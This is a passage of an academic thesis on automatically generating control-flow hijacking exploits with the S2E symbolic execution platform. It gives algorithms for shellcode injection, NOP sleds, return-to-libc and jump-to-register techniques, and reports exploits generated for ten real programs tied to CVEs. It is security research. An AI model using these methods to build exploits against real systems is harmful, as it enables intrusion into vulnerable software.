Fuzz testing 

Input 

Program 

Concolic mode 

EIP is corrupted ! 

Build input constraints Build exploit constraints 

Exploit 
Fuzzer 

Get a crash input Collect branch conditions 

Generate an exploit 

Figure 13: The process of concolic-mode simulation with fuzzer tools

3.4.2 Code Selection

Because S2E performs symbolic execution on a whole operating system, the path explosion is

very heavily whenever the symbolic data are passed to library or kernel. On the other hand, the

constraints induced by library or kernel are usually complex and huge, and constraint solvers

often get stuck in them. For example, if the first argument of fopen() function, which is a path

of the file to be opened, is symbolic, the constraint solvers will get a time-out error or hang

in S2E. But, those paths in library or kernel are often uninterested for exploit generation. In

order to avoid exploring those uninterested paths, those library functions should run on concrete

execution.
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Symbolic execution 

Symbolic execution 

Concrete execution 

Interested 

Uninterested 

Interested 

Figure 14: An execution tree with code selection

When the symbolic arguments are changed to concrete values and then passed to those

uninterested functions, only one path will be explored. Figure 14 shows that the execution

tree is corseted after the program entry the uninterested part and until the program returns to

symbolic execution. In order to ensure the return value of those uninterested functions is correct,

the concrete values passed to functions must be generated according to current path conditions

by constraint solvers. When the function returns, those data that had changed to concrete must

be restored to the original symbolic data to keep the symbolic execution.
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Chapter 4

Implementation

In this chapter, we explain how our method was implemented on S2E, and what algorithms we

used. In order to implement automated exploit generation, many run-time information must be

collected and many constraints must be built to reason out an exploit, so the memory model in

S2E is an important key to achieve these tasks and is shown on follow section.

Many protections are implemented on compilers or operation systems in real-world systems.

In addition to return-to-memory exploits, other two types of exploits, which are return-to-libc

and jump-to-register exploit, are implemented in our work to bypass some protections. This

work makes our exploit generation more useful in real-world systems.

4.1 Register Corruption Detection

In QEMU, the CPUX86State structure, which is defined in Listing 8, is used to simulate the

states of x86 CPU, and all register references in guest operating system will be turned into

memory references on this structure. When S2E is started, this structure is divided into two

parts and stored separately, one of which is CpuRegistersState and another is CpuSystemState.

Listing 9 shows the differences between the two parts, and the CpuRegistersState is a symbolic

area where stores the all data in front of EIP register in CPUX86State structure, such as general-

purpose registers, but the CpuSystemState part is a concrete only area where stores the other

data including EIP register.

S2E translates every guest instruction into TCG IRs, and then translates those TCG IRs into

host instructions or LLVM IRs. For example, the ret instruction is separated into more detailed
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operations as shown in Figure 15, and the operation of updating EIP register is converted to

a store instruction. In QEMU, all memory access operations are handled by a softmmu model

in order to map the guest addresses to host addresses. Whenever accessing a memory data,

S2E checks whether the value of data is symbolic or not in softmmu model. If the value is

symbolic, S2E will rerun this translated block from current instruction in KLEE to perform

symbolic execution. For detecting EIP register corruption, S2E must check whether the writing

target is the location of EIP register and whether the source value is symbolic data whenever

KLEE deal with a store memory operation on symbolic execution.

Listing 8: The structure of CPUX86State
1 t y p e d e f s t r u c t CPUX86State {
2 /∗ s t a n d a r d r e g i s t e r s ∗ /
3 t a r g e t u l o n g r e g s [ CPU NB REGS ] ;
4 # i f 0
5 t a r g e t u l o n g e f l a g s ; /∗ e f l a g s r e g i s t e r . During CPU e m u l a t i o n , CC
6 f l a g s and DF are s e t t o z e r o because t h e y are
7 s t o r e d e l s e w h e r e ∗ /
8 # e n d i f
9

10 /∗ e m u l a t o r i n t e r n a l e f l a g s h a n d l i n g ∗ /
11 u i n t 3 2 t cc op ; /∗ o u t s i d e o f cpu loop , CC OP i s a lways CC OP EFLAGS ∗ /
12 t a r g e t u l o n g c c s r c ;
13 t a r g e t u l o n g c c d s t ;
14 t a r g e t u l o n g cc tmp ; /∗ t emporary f o r r c r / r c l ∗ /
15
16 . . .
17
18 t a r g e t u l o n g e i p ;
19
20 i n t 3 2 t d f ; /∗ D f l a g : 1 i f D = 0 , −1 i f D = 1 ∗ /
21 t a r g e t u l o n g m f l ags ; /∗ Mode and c o n t r o l f l a g s from e f l a g s ∗ /
22
23 . . .
24
25 }

movi_i32  tmp4,$0x80483bd 
st_i32  tmp4,env,$0x30 
ld_i64  tmp5,env,$0x4d760 
movi_i64  tmp12,$0x1 
add_i64  tmp5,tmp5,tmp12 
st_i64  tmp5,env,$0x4d760 
mov_i32  tmp2,esp 
qemu_ld32u  tmp0,tmp2,$0x1 
movi_i32  tmp13,$0x4 
add_i32  tmp4,esp,tmp13 
mov_i32  esp,tmp4 
st_i32  tmp0,env,$0x30 
exit_tb  $0x0 

0x080483bd :  ret      

X86 instructions TCG IRs CPUX86State structure 

EAX 

EIP 

ECX 
. . . 

. . . 

0x080483bc:  leave 

Figure 15: The process of ret instruction translation in QEMU
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Listing 9: The code of registerCPU() function

1 void S2EExecutor : : r e g i s t e r C p u ( S 2 E E x e c u t i o n S t a t e ∗ i n i t i a l S t a t e ,
2 CPUX86State ∗cpuEnv )
3 {
4 . . .
5
6 /∗ Add r e g i s t e r s and e f l a g s area as a t r u e s y m b o l i c area ∗ /
7 i n i t i a l S t a t e −>m c p u R e g i s t e r s S t a t e =
8 a d d E x t e r n a l O b j e c t (∗ i n i t i a l S t a t e , cpuEnv ,
9 o f f s e t o f ( CPUX86State , e i p ) ,

10 /∗ i sReadOnly = ∗ / f a l s e ,
11 /∗ i s U s e r S p e c i f i e d = ∗ / f a l s e ,
12 /∗ i s S h a r e d C o n c r e t e = ∗ / f a l s e ) ;
13
14 i n i t i a l S t a t e −>m c p u R e g i s t e r s S t a t e−>setName ( ” C p u R e g i s t e r s S t a t e ” ) ;
15
16 /∗ Add t h e r e s t o f t h e s t r u c t u r e as c o n c r e t e−o n l y area ∗ /
17 i n i t i a l S t a t e −>m cpuSys t emSta t e =
18 a d d E x t e r n a l O b j e c t (∗ i n i t i a l S t a t e ,
19 ( ( u i n t 8 t ∗ ) cpuEnv ) + o f f s e t o f ( CPUX86State , e i p ) ,
20 s i z e o f ( CPUX86State ) − o f f s e t o f ( CPUX86State , e i p ) ,
21 /∗ i sReadOnly = ∗ / f a l s e ,
22 /∗ i s U s e r S p e c i f i e d = ∗ / true ,
23 /∗ i s S h a r e d C o n c r e t e = ∗ / t rue ) ;
24
25 i n i t i a l S t a t e −>m cpuSys temSta te−>setName ( ” CpuSys temSta te ” ) ;
26
27 . . .
28 }

When EIP register is corrupted by symbolic data, the expression of symbolic data must

be recorded because it describes which variable and which part of it corrupt EIP register. For

example, an expression that represents a 32-bit symbolic data at the first element of an array

named buf is shown as follow.

(ReadLSB w32 0 bu f )

We can build a constraint to control the value of symbolic data. For example, a constraint limit

the 32-bit data to zero is shown as follow.

(Eq 0 (ReadLSB w32 0 bu f ))

Next, we must inject shellcode into memory to determine where EIP register should point

to.
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4.2 Exploit Generation

4.2.1 Memory Model in S2E

In S2E, memory consists of MemoryObjects objects and the actual contents of MemoryObject

objects are stored in ObjectState objects. In an ObejectState object, the symbolic data are

stored separately from concrete data. The expressions of symbolic data are stored in an array

that consists of Expr Objects and a pointer named knownSymbolics points to it. The concrete

data are stored in an array of uint8 t and pointed by a pointer named concreteStore. In each

ObejectState object, a BitArray object named concreteMask is used to record the states of each

byte, i.e. the byte is concrete or symbolic. The structure of ObjectState objects is shown in

Figure 16.

ObjectState 

ObjectState 

ObjectState 

MemoryObjects 

ObjectState 

knownSymbolics 

concreteStore 

concreteMask 

0 

127 

0 

127 

0 

127 

0x8C 

0x71 

0xD0 

(Read w8 0 buf) 

(Read w8 1 buf) 

0 

1 

0 

(Read w8 2 buf) 

Figure 16: The structure of ObjectState object

4.2.2 Finding Symbolic Memory Blocks

The default size of the storage in an ObjecetState object is 128 bytes. For finding continu-

ous symbolic data in a memory region, the value of concreteMask structures must be checked

sequentially object by object. An object can be skipped easily whenever the value of its con-

creteMask structure are all ones, otherwise the locations of every zero in concreteMask structure

must be recorded to compute the continuous size. For the symbolic blocks crossing objects, it is

necessary that to check whether the current symbolic block is connected with the last symbolic

block in the last checked object. The algorithm is shown in Algorithm 1.
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Algorithm 1: Searching for symbolic blocks
Input: Objects : All ObjectState objects to be searched.
Output: V : A set of address and size.

foreach obj ∈ Objects do1

if isNotAllConcrete() then2

size← 03

for i← 0 to 127 do4

if isByteSymbolic(i) then5

size← size + 16

else if size 6= 0 then7

address← getAddress(i)8

if V→ isConnect(address,size) then9

V→ updateLastItem(size); /* A part of the last block */10

else11

V→ addNewItem(address,size) /* An independent block */12

size← 013

Another program is the search range of memory regions. In Linux memory layout, as shown

in Figure 4, the based address of stack is 0xbffffffff and grow downward, so it is very easy to

search stack region from this address to down. But heap and data segment are not located at a

fixed address for different programs. Therefore, those starting locations must be got dynami-

cally. According to the ELF executable layout, the top of executable files is the program header,

which records the all segment information. The program header can be analyzed at address

0x08048000, which is the location where binary is loaded at, to get the location and size of data

segment. On the other hand, because heap region is behind data segment and grow upward, the

based address of heap can be got by adding the starting address and size of data segment.

4.2.3 Shellcode Injection

In order to determine whether shellcode can be stored in the potential buffers found by previous

step, each symbolic expression of a symbolic block must be read to build constraints that restrict

each byte of symbolic data to each byte of shellcode sequentially byte by byte. For example,

the constraints that inject shellocde into an array named buf is shown as follow.
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(Eq 31 (Read w8 0 bu f ))

(Eq C0 (Read w8 1 bu f ))

(Eq 89 (Read w8 2 bu f ))

(Eq C2 (Read w8 3 bu f ))
...

Next, the shellcode constraints are passed to an SMT solver with path conditions to validate

their feasibility.

For the best location of shellcode, the rule is that NOP sled is as larger as possible. There-

fore, all the symbolic blocks are sorted by size, and shellcode is injected from the end of the

largest symbolic block firstly. In addition to building the shellcode constraints, a new constraint

must be added to ensure EIP register can point to the range between the starting address of

shellcode and the top of the symbolic block. Even if EIP register cannot point to the starting

location of shellcode precisely, it may feasible because NOP sled will extend the entry point

later. If those constraints are infeasible, the location of shellcode injection is always shifted one

byte forward to try the new location.

≠ NOP 

The largest block 

X 

Y 

Y > X 

Z 

Z > X 

The second 

. . . 

Shellcode 

NOP sled 

Figure 17: The process of searching symbolic blocks

In addition, shellcode will keep to be injected to the remain room of the current block or

next blocks when those sizes are larger than the sum of the shellcode size and the current longest

NOP sled size. For example, consider Figure 17, the sum of shellcode size and current NOP
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size is X, but it is smaller than Y and Z, so shellcode and NOP sled will keep to be injected in

next blocks and the remain room of the current block. The algorithm is shown in Algorithm 2.

Algorithm 2: Injecting shellcode
Input: V : A set of address and size of symbolic blocks. Shellcode : A shellocde string.

PC : Path conditions.
Output: ShellcodeAddress : The starting location of shellcode injection. MaxNopSize :

The max size of NOP sled.

foreach v ∈ V do1

if sizev ≥ strlen(Shellcode) then2

address← addressv + sizev - strlen(Shellcode)3

MaxNopSize← -14

while address ≥ addressv do5

c1← injectShellcodeAt(address) /* Build shellcode constraints */6

c2← eipBetween(address, addressv) /* Build eip constraints */7

if Verify(PC ∧ c1 ∧ c2) then8

nopSize← NOPSled(address, addressv)9

if nopSize > MaxNopsize then10

MaxNopSize← NopSize11

ShellcodeAddress← address12

if (address - addressv) > strlen(shellcode) + MaxNopSize) then13

address← address - nopSize14

else15

break16

else17

address← address - 118

4.2.4 NOP Sled

NOP sled aims to generate the more reliable exploits that increase chances of success. The

method is to insert NOP instructions in front of the shllecode as many as possible, and make

EIP register point to the range. For efficiency, binary search-like algorithm is used to determine

the longest length of NOP sled rather than insert NOP instructions byte by byte. Whenever

binary search finds a range that EIP register can point to, NOP instructions will be tried to fill

this range sequentially to check whether both conditions are feasible simultaneously. If it is

infeasible, the range is reduced, otherwise extend, and so on. The detail algorithm is shown in

Algorithm 3 and process in Figure 18.
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Algorithm 3: NOP sled
Input: Start : The starting address of NOP sled. End : The end address of NOP sled. PC

: Path conditions.
Output: NopSize : The size of NOP sled.

min← End1

max← Start2

mid← min + (max-min)/23

while min ≤ max do4

c1→ eipBetween(Start,mid) /* Build eip constraints */5

if Verify(PC ∧ c1) then6

c2→ injectNopBetween(Start,mid)/* Build NOP constraints */7

if Verify(PC ∧ c2) then8

NopSize← Start - mid9

max← mid - 110

else11

min← mid + 112

else13

max← mid - 114

mid← min + (max-min)/215

Shellcode  

NOP Sled 

max 

mid 

min 

Shellcode  

NOP Sled 

max 

mid 

min 

Shellcode  

NOP Sled 

max 

mid 

min 

EIP 

EIP 
EIP 

OK NO … 

Symbolic block Symbolic block Symbolic block 

Figure 18: The process of NOP sled

After the longest length of NOP sled is gotten, the next step is to make EIP register point to

the middle of NOP seld as close as possible. Because the number of NOP sled maybe is large,

the constraint solver is used to reason out the suitable location that EIP register points to. To

help a constraint solver to compute the address as close the middle of NOP sled as possible, a

constraint is added to limit the range. First, the range is a point in the middle of NOP sled, and

the constraints are passed to a constraint solver to get the solution. If it is infeasible, the range

is extended twice each time, and so on. This process always can get a solution, because the

previous step guarantees that the EIP register can point to the range of NOP sled. The process

as shown in Figure 19 and the algorithm is shown in Algorithm 4.
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Algorithm 4: Determining the value of EIP register
Input: NopSize : The size of NOP sled. Start : The starting address. End : The end

address. PC : Path conditions.
Output: EipAddress : The address where EIP register points at.

mid← Start - (NopSize/2)1

range← 02

repeat3

if mid - range ≤ Start - NopSize then4

low← Start-NopSize5

else6

low← mid-range7

if mid + range ≥ Start then8

hi← Start9

else10

hi← mid + range11

c← eipBetween(low, hi) /* Build eip constraints */12

if range = 0 then13

range← 114

else15

range← range * 216

until Verify(PC ∧ c) ;17

EipAddress← getValue(PC ∧ c)18

Finally, when the staring address of shellcode, the size of NOP sled and the location where

EIP register points to all are determined and feasible, the constraint solver will solve the final

path conditions to generate the exploit that performs the malicious task in the shellocde.

EIP EIP EIP 

Shellcode 

NOP sled 

Shellcode 

NOP sled 

Shellcode 

NOP sled 

Figure 19: The process of determining where EIP register point to
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4.2.5 Other Types of Exploit

4.2.5.1 Return-to-libc

A return-to-libc attack is a technique to bypass non-executable memory regions, such as W⊕X

protection. It redirects control flow to functions in C runtime library, such as system(), and

injects the arguments of the function into stack manually to fake the behavior of function callers.

Because runtime library is always executable and loaded by operating systems, a return-to-

libc attack can perform malicious tasks by executing library code and bypass executable space

protection. Consider Figure 5, function callers have to push arguments and return address into

stack when calling functions. About exploits, it doesn’t really matter where the libc function

call returns to, but the arguments are key to perform the tasks we desired.

Table 3: The differences between return-to-memory and return-to-libc exploit

Exploit Shellocde Injection NOP Sled

Return-to-memory shellocde NOP instruction(0x90)
Return-to-libc “/bin/sh” whitespace(0x20)

ESP 

Return address 

Arguments 4 bytes 

4 bytes 

Stack 

ESP 

Return address 

Arguments 

Stack 

Old EBP 

Local variables 

“/bin/sh” 

Before call system()  After call system()  

Figure 20: The process of return-to-libc exploit generation

Taking system(“/bin/sh”) for example, which will open a shell, the only one argument is a

pointer points to the string “/bin/sh” as shown in Figure 20. The process of return-to-libc exploit

generation is very similar to return-to-memory. As Table 3 shows that the steps of shellcode

injection and NOP sled are still applying to return-to-libc exploit generation. But, shellcode
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injection injects the string “/bin/sh” instead of a shellcode, and NOP slep fills whitespace char-

acters rather than NOP instructions. Finally, the exploit constraints limit the argument to the

location of the middle of whitespace sled and redirect EIP register to the location of system()

function in C runtime library.

4.2.5.2 Jump-to-register

Stack is the most common memory region for shellocode injection, but ASLR randomizes the

based address of stack so that control flow is very difficult to jump to shellcode accurately.

A large NOP sled may bypass ALSR, but it not always feasible. A jump-to-register attack

is a technique to bypass ASLR. It uses a register that points to a shellcode as a trampoline

to execute the malicious tasks. For example, EAX register is usually used to store the return

value of functions. Strcpy() function returns a pointer points to the location of buffer, and EAX

register is often used to store the address. If a “call %eax” instruction can be found in code

segment, which is very common, and shellcode can be injected into the buffer EAX register

points to, control flow will be redirected to execute this instruction and jump to shellcode.

In addition, a jump-to-esp attack is also a common and reliable technique without NOP

sled and guessing stack offset in Windows and old version of Linux. Because return addresses

are always popped to make ESP register points to their next address when functions return,

shellcode can be injected behind the return address and uses ESP register as a trampoline. If a

“jmp %esp” instruction can be found in code segment, a jump-to-esp exploit can be generated

to bypass ASLR. The process as shown in Figure 21.

ESP 

Shellcode 

Stack 

Local variables 

Old EBP 

Return address 

ESP 

Shellcode 

Stack 

Before function return After function return 

EIP 

EBP 

Pop 

Pop 

Old EBP 

Return address 

Figure 21: The process of jump-to-register exploit generation
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In order to generate jump-to-register exploits, code segment must be searched to find the

related instructions such as “call %eax” and “jmp %esp”. If the related instructions are found

and the memory region that register points to is symbolic, shellcode will be injected into the

location, and EIP register will be redirected to execute the related instruction. In addition, if

there is no any usable related instruction in code segment, data segment may be searched to find

a two-byte symbolic data to inject the related instruction because data segment is unaffected by

ASLR. For example, “jmp %esp” instruction is 0xffe4 and “call %eax” instruction is 0xffd0.

4.3 Pointer Corruption Detection

When accessing a memory address, S2E will check whether the address is symbolic or not.

If it is symbolic, S2E must determine an explicit location before keeping program execution.

S2E uses a binary search to find all locations that the symbolic address can point to, and forks

executions to explore each address. Before S2E handles a symbolic address, the address can try

to point to sensitive data, such as return address and GOT. If it is feasible, those sensitive data

will be tainted and corrupt EIP register later. Otherwise, the symbolic address will be changed

to taint other concrete data because it may help exploit generation if other vulnerabilities corrupt

EIP register later. For example, we can change the address to taint data segment so that shellcode

can inject to there to bypass ASLR protection.

4.4 Concolic-mode Simulation

To simulate concolic testing on S2E, we execute the program under test with input data, such

as arguments and environment variables, and the main tasks are building input constraints and

collecting branch conditions. As the previous note about memory model shown in Figure 16,

the concrete values are stored separately from symbolic data, but the concrete values are ignored

since the variables are marked as symbolic. In order to get the input data at run time, we can

read the last concrete value of symbolic variables from concreteStore structure by hand and

build constraints to limit the each symbolic expression to its concrete value. A vector container

is used to save all input constraints because it is very easy to delete some constraints when they

are unnecessary, and to combine with every constraint into a complete input constraint when it

is needed.
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In addition, a branch condition that takes only one path won’t be added to path conditions

on symbolic execution because of redundancy. But concolic testing may need to collect those

branch conditions because it always explores only one path in branches and the result is caused

by adding extra input constraints. Therefore, whenever a branch is encountered and its both

paths are feasible on symbolic execution, the SMT solver redetermines the branch conditions

associate with input constraints and adds the branch conditions by force. The process is shown

in Figure 22.

Input 

branch 

Path conditions 

Program 

Execute programs with input 

Concolic mode 

EIP is corrupted ! 

Input constraints 

& 

Add branch conditions 

Input constraints 

Build input constraints 

Figure 22: The process of concolic-mode simulation

In addition to branches, symbolic addresses also fork executions on symbolic execution.

When accessing a memory address whose value is symbolic, S2E cannot determine where it

should access. So, S2E forks executions to try to access every address where the symbolic

address can point to. In concolic mode, input constraints are still used to help SMT solvers to

determine a location on symbolic address. But, when pointer corruption happen, the address

could be redirected to other addresses as section 4.3 notes. So, when a symbolic address is

redirected, the input constraints that associate with symbolic address will be deleted from the

vector container in order to avoid conflict.

It is very easy to switch between concolic-mode simulation and original symbolic execution

because the memory model of S2E doesn’t be modified. If symbolic execution will be per-

formed, we just set the input constraints to be “true” because path conditions won’t be changed

when they perform an “AND” logical operation with a “true” expression.
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4.5 Code Selection

Because the concrete value of a variable is stored separately from symbolic data, the switch of

a variable between concrete and symbolic is very easy. The concreteMask structure is used to

record the states of a memory region, and we can modify the boolean value to change a byte

value from concrete to symbolic or vice versa.

To concretize a symbolic data, we pass the symbolic expression and path conditions to an

SMT solver to find a concrete solution and write the concrete value back to the address of

symbolic data. Because the variable has became concrete, all the code accessing the variable

will be executed concretely. So, we concretize the arguments of uninterested functions to stop

symbolic execution to explore the paths in them.

To restore a concrete variable to symbolic, we invert the boolean value in concreteMask

structure to ignore the concrete value and keep the original symbolic expression to perform

symbolic execution on this variable.

int main() { 

. 

. 

. 

ptr = fopen(path,”r”); 
. 
. 
. 

FILE * fopen ( const char * filename, 
 const char * mode ) { 

} 

concretize(filename); 

FILE * ptr = func(filename, mode); 

symbolize(filename); 

return ptr; 

} 

fopen() 

Glibc 

LD_PRELOAD Programs under test 

void *handle = dlopen(…); 

FILE *(*func)(…) =  dlsym(…); 

Figure 23: An example for code selection

It is very easy that using this method to select a code to run on concrete execution or sym-

bolic execution. In Linux, LD PRELOAD environment variable can intercept the library func-

tions and jump to the functions we writing. To cooperate with this environment variable, those

uninterested library functions can be intercepted automatically, and run them on concrete ex-

ecution. Figure 23 shows an example that intercepts fopen function, and performs concrete

execution on it. In addition, some functions just print messages to screen without return value,

such as perror(), so those functions can be skipped using this method directly to speed the

process of exploit generation.
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Chapter 5

Experimental Results

In order to evaluate our work, three experiments were completed. The first part generated

exploits for five different control-flow hijacking vulnerabilities to show our method can handle

all vulnerabilities that corrupt EIP register and some vulnerabilities that corrupt pointers. The

second experiment demonstrated that return-to-libc and jump-to-register exploits we generated

can bypass some protections in real-world systems.

In the final experiment, we generated exploits for ten real-word programs to evaluate the

results and prove our method can apply in real-world applications. In these ten real-world

programs, seven programs were chosen from the benchmarks of AEG to demonstrate that our

method can handle at least all cases that AEG can address.

5.1 Testing Method and Environment

In this chapter, we demonstrate the results of automated exploit generation for vulnerable sam-

ple code and real-world programs. All experiments were performed on a 2.66 GHz Intel Core

2 Quad CPU with 4 GB of RAM, and the host environment is Ubuntu 10.10 64-bit. The guest

environment is Debian 5.0 32-bit with default settings of QEMU, which is a 266MHz Pentium

II (Klamath) CPU with 128 MB of RAM.

Mostly, the programs under test were compiled by GCC 4.3.2 and ran on Glibc 2.7, which

are the default in Debian 5.0. But some programs used GCC 3.4.6 or Glibc 2.3.2 to generate

exploits because the default version protects main function against stack buffer overflow or

performs heap hardening integrity checks to stop heap overflow.
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We used an end-to-end approach to generate exploits on binary executables without modi-

fying the source code, i.e. the source code are not necessary. The method we used is forking

a new process to execute the program under test and passing the symbolic data to it from out-

side. In Debian 5.0, ASLR is enabled by default so that the based address of stack and heap

is randomized. Therefore, ASLR was disabled for generating and testing all exploits except

jump-to-register exploits.

5.2 Sample Code

In the first part of our experiments, we generated exploits for five common types of vulnera-

bilities. Because our method is based on EIP register corruption detection instead of specific

vulnerabilities, it can handle different types of vulnerabilities. We designed five sample code

for five different vulnerabilities and four corrupted data, and performed automated exploit gen-

eration on them. The results are shown in Table 4, and the all sample code and exploits are in

Appendix A. In the results, the format of wall time is (exploit reason time / total time).

In this experiment, the source input of all sample code was argument and its length was 100

characters. We experimented on concolic-mode simulation and traditional symbolic execution

to compare the efficiency of both. In symbolic execution, depth-first search (DFS) was used

to explore a symbolic execution tree. The heap overflow code was executed on Glibc 2.3.2,

because some protections that check pointer consistency have included since version of Glibc

2.3.6. In addition, this exploit generation cooperated with libfmtb1 library to build format strings

to exploit format string vulnerabilities.

Stack buffer overflow and uninitialized variable vulnerability corrupt EIP register directly,

and other three vulnerabilities taint EBP register or pointers to corrupt EIP register indirectly.

As the results show, the average of total time was 3.67 seconds in concolic mode and the exploit

reason time was 0.35 seconds. On average, symbolic execution spent 302.67 seconds on getting

an exploit and 0.47 seconds on reasoning out it. Concolic mode was faster about 100 times

than symbolic execution because it just explored only one suspicious path. In the experiments

of symbolic execution, format string vulnerability got an out-of-memory error because sym-

bolic execution attempted to explore all paths in snprintf() function, which performs a complex

behavior.
1http://packetstormsecurity.org/files/26173/
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Table 4: The results of exploit generation for sample code

Concolic Symbolic
Vulnerability Corrupted Data

Wall Time(sec.) Wall Time(sec.)

Stack buffer overflow Return address 0.61/3.59 0.69/303.59
Heap buffer overflow Pointer 0.24/3.16 0.25/301.73
Off-by-one overflow EBP register 0.46/3.24 0.51/302.14
Uninitialized variable Function pointer 0.41/3.59 0.46/303.23
Format string Pointer 0.05/4.81 –

Average 0.35/3.67 0.47/302.67

5.3 Other Types of Exploits

In this experiment, we demonstrated exploit generation for other types of exploits to bypass

some protection mechanisms. Because our work implemented return-to-libc and jump-to-

register exploit generation, we showed the results of both exploit generation and used the gen-

erated exploits to bypass non-executable stack or ASLR protection.

Because return-to-libc and jump-to-register exploit generation don’t apply to all cases, i.e. only

suitable for some special cases, we chose the sample code of stack buffer overflow vulnerability

to demonstrate these experiments, and all experiments were all performed on concolic mode.

The two generated exploits are also shown in Appendix A.

Table 5: The run-time information of rerun-to-libc exploit generation

Run-time Information

EIP register (ReadLSB w32 54 arg)
ESP register 0xbffff8e0 (value:(ReadLSB w32 58 arg))
ESP register + 4 0xbffff8e4 (value:(ReadLSB w32 62 arg))
Address of system() 0xb7ebb7a0

0xbffffa8f (size:100 bytes)
Potential shellcode buffers

0xbffff8a6 (size:100 bytes)

In the return-to-libc experiment, we aimed to use system() function to execute “/bin/sh”

command. The run-time information at exploit generation are shown in Table 5. The location

where ESP register pointed at and ESP register + 4, which is the address to insert argument, were
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all symbolic and the potential shellcode buffers were large enough to insert the string “/bin/sh”,

so this vulnerable program satisfied the all conditions for return-to-libc exploit generation. The

total time of this experiment was 3.25 seconds, in which the time spent on exploit reason was

0.34 seconds. Figure 24 shows the return-to-stack exploit got a “Sementation fault” error in

non-executable stack, and Figure 25 shows the process of using the return-to-libc exploit to

bypass non-executable stack protection.

Figure 24: A return-to-stack exploit is used in executable and non-executable stack

Figure 25: A return-to-libc exploit bypasses non-executable stack in Debian 5

Table 6 shows the run-time information at jump-to-register exploit generation. A “call

%eax” instruction was found at address 0x0804839f and EAX register pointed to the starting

location of a symbolic region exactly, so this vulnerable program can generate jump-to-register

exploit to bypass ASLR. The total time of this experiment was 3.16 seconds, in which the time

spent on reasoning out the exploit was 0.06 seconds. The process of using this exploit to bypass

ASLR in Debian 5.0 is shown in Figure 26.
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Table 6: The run-time information of jump-to-register exploit generation

Run-time Information

EIP register (ReadLSB w32 54 arg)
Usable trampoline registers EAX
EAX register 0xbffff8a6 (value:(ReadLSB w32 0 arg))
Address of “call %eax” instruction 0x0804839f

0xbffffa8f (size:100)
Potential shellcode buffers

0xbffff8a6 (size:100)

Figure 26: A jump-to-register exploit bypasses ASLR in Debian 5

5.4 Real-world Programs

In the final part of experiments, we generated exploits for real-world programs. Because real-

world programs are more large and complex than the sample code, this experiment demon-

strated that our method is effective and practical in real-world applications.

We chose seven programs from benchmarks of AEG and found three new vulnerable pro-

grams released in recent years to perform this experiment. The 10 real-world programs were

evaluated by an end-to-end approach, i.e. all programs were tested in binary forms, and the

vulnerabilities of these programs were all stack buffer overflow. Concolic-mode simulation was

used to perform exploit generation on all programs, and code selection intercepted functions

associating with file-related operations or pure error feedback, such as fopen() and perror(), to

speed up the process. Table 7 shows the results of 10 real-word programs.
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Table 7: The results of exploit generation for real-world programs

Input Wall
Program Version Input Source

Length Time(sec.)
Advisory ID.

aeon 0.2a Env. Var. 550 12.17/310.29 CVE-2005-1019
iwconfig V.26 Arguments 85 1.39/34.49 BID-8901
glftpd 1.24 Arguments 300 2.66/52.73 OSVDB-16373
ncompress 4.2.4 Arguments 1050 46.07/2046.48 CVE-2001-1413
htget 0.93 Arguments 276 6.38/153.10 CVE-2004-0852
expect 5.43 Env. Var. 300 7.49/179.99 OSVDB-60979
rsync 2.5.7 Env. Var. 201 2.18/36.58 CVE-2004-2093
acon 1.0.5 Env. Var. 1300 95.25/3877.75 CVE-2008-1994
gif2png 2.5.3 Arguments 1080 65.69/2320.57 CVE-2009-5018
hsolink 1.0.118 Arguments 1050 82.59/2504.66 CVE-2010-2930

As the results show, iwconfig spent 34.49 seconds on exploit generation, and it was the

shortest one. On the other hand, the slowest was acon which spent about 64 minutes. According

to the results, the speed was proportional to the length of program input, because the more

symbolic data exist, the more code may perform on symbolic execution. In addition, the longer

symbolic data will bring huge and complex constraints, and SMT solvers must spend a lot of

time on constraint solving.

In order to reduce the overhead of SMT solvers and speed up the process, code selection

was used to concretize arguments of uninteresting functions. In this experiment, aeon, ht-

get and acon intercepted fopen(); ncompress intercepted lxstat() and perror(); gif2png inter-

cepted fopen() and perror(); expect intercepted open(); rsync intercepted vsnprintf(); hsolink

intercepted system(). Those functions related with file operations were often make constraint

solvers stick, and perror() function just printed error messages without return value and doesn’t

influence exploit generation, so we filtered these functions to speed up the process.

In this experiment, we performed exploit generation on real-world programs and produced

exploits for those applications successfully. The results show that the average of total time was

about 19 minutes to generate an exploit for real-world programs, and the quality of exploits

was good because they contained the longest NOP sled to increase the chances of successful

attacks. For this reason, our method is powerful and practical in automated exploit generation

for real-world programs.
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Chapter 6

Conclusion and Further Work

In this final chapter, we summarize our work and list some further work to perfect our method.

Because the related work for automated exploit generation is few at present, our work is a major

contribution for this issue. The last section lists some issues that make our work support more

applications and operating systems, and more useful for real-world environments.

6.1 Conclusion

In this thesis, we implemented the automated exploit generation and built it on S2E, which is

a new platform for symbolic execution. We aimed at generating control flow hijacking attacks,

and proposed an easy and precise method to achieve this goal. In contract with AEG, EIP

register corruption detection is a comprehensive idea to reason out precise exploits and to deal

with many control flow hijacking vulnerabilities.

We implemented concolic-mode simulation to perform concolic testing on symbolic exe-

cution. This is a flexible and easy method to switch between symbolic execution and concolic

testing mode without modifying memory model. In addition, code selection helped S2E to filter

uninteresting functions so that symbolic execution explored interesting code more effectiveness

and speeded up the process of exploit generation.

In order to evaluate our method, we experimented on a variety of vulnerable sample code to

demonstrate that it can address different kinds of control flow hijacking vulnerabilities, and on

real-world programs to prove that it is feasible and powerful. In addition, we generated other

types of exploits to bypass some protections to show it is useful for real environments.
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6.2 Further Work

To perfect the automated exploit generation, many further work can be implemented as follow.

• A more perfect end-to-end system

– Real-world programs usually are released in the form of binary executables without

source code. In order to operate on binaries directly, many input sources must be

handled, such as standard input, environment variables, sockets, and files. There-

fore, this is an important further work to generate exploits for more real-world ap-

plications.

• Exploit generation for other operating systems

– For example, Windows is the most common operating system on personal comput-

ers, so exploit generation for Windows applications is very useful. Fortunately, our

method is most suitable for other operating systems. The differences are memory

layout and protection mechanisms for different systems. For example, Windows re-

serves 2 GB space for kernel, but Linux only reserves 1 GB. Therefore, the search

range of memory for shellcode injection is different from Linux.

• More types of exploits

– As we tried to generate return-to-lib and jump-to-register exploits, other types of

exploits can attack other different protections. For example, return-oriented pro-

gramming is a technique to bypass ASLR and W⊕X without shellcode. In addition,

shellocde design is also useful for exploits. For example, it is very powerful that

shellcode is divided into many small parts, and injected to different regions. Even

if there is no any symbolic block in memory large enough to injection a complete

shellcode, this skill makes the exploits still work by chaining those small parts of

shellcode together.
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via decomposition and re-stitching: finding bugs in Malware,” in Proceedings of the 17th
ACM Conference on Computer and Communications Security (CCS’10), Chicago, Illinois,
